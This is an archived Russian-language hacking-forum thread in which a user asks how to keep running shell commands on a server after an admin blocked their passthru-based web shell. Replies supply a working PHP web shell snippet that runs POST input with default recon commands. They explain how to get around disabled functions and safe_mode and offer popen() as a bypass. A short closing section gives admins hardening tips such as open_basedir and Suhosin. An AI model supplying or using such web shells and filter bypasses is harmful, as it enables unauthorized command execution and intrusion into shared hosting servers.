Просмотр полной версии : Выполнить команду на сервере
Всем привет. Возник вопросик.
Раньше на сервере выполнял команды таким методом :
$result = passthru($_POST['cmmd']);
Теперь админ пофиксил :( как еще можно выполнить ?
OS : FreeBSD 6.3
PHP : 5.2.6
Зарание спасибо.
Pashkela
16.11.2008, 15:04
Непонятно, как пофиксил:
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
echo "".passthru($_POST['cmd'])."";
Тебе останется написать только html форму для скрипта
ну и:
http://ru2.php.net/passthru
The passthru() function is similar to the exec() function in that it executes a command . This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.
otmorozok428
16.11.2008, 16:06
Сперва выясни в чём заключался фикс. Было ли это запрещение одной или нескольких функций, или же на сервере включили safe_mode. Выполни phpinfo() и посмотри строчку disable_functions. Если там запрещена только функция passthru() - юзай system() или exec().
Так же обрати внимание на значение параметра safe_mode, если установлен в On, значит на сервере врубили Safe Mode - пробуй заюзать какой-либо из способов обхода Safe Mode. Инфы по этой теме дофига на том же Античате.
Даже если не удастся использовать ничего из вышеперечисленного, всё равно остаётся возможность производить какие-то действия средствами чистого PHP (без использования функций операционной системы), например просмотр содержимого каталогов, просмотр , редактирование или создание файлов и т.д.
disable_functions :
rmdir, readfile, exec, system, passthru, escapeshellcmd, shell_exec, chmodopendir, readdir, closedir, dir, diskfreespace, disk_free_space, getattr, domxml_get_attribute, ini_alter, ini_set, root, domxml_root
safe_mode Off
Что можно сделать в таком случае ???
otmorozok428
16.11.2008, 19:41
Попробуй заюзать popen(). Вот как-то так:
<?php
$handle = popen("uname -a", "r");
$read = fread($handle, 2096);
echo $read;
?>
Теперь вопрос к админам!
Как можно зашитить свой сервер ?
Такая ситуация :
Есть хостинг на котором 50 сайтов. Каждый может выполнить
ls /home
cat /etc/passwd
лазить по сайтам других клиентов.
Как можно ограничить выполнения команд пользовательом ???
Что-бы он немог выйти за свою директорию.
Спасибо большое.
open basedir ./
safe_mode On
ман по пхп.ини тебе в руки.Если ты про выполнение из пхп скриптов.Иначе- запретить доступ по ссш =)))
otmorozok428
17.11.2008, 17:30
А сверху накати что-нибудь типа Suhoshin (http://www.hardened-php.net/suhosin/index.html) и будет тебе счастье :)
Перекомпилить PHP без exec(); и т.п. и поднять ssh шелл, ну собсно тоже подправленный(можно даже без cd, vim и т.п.).
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot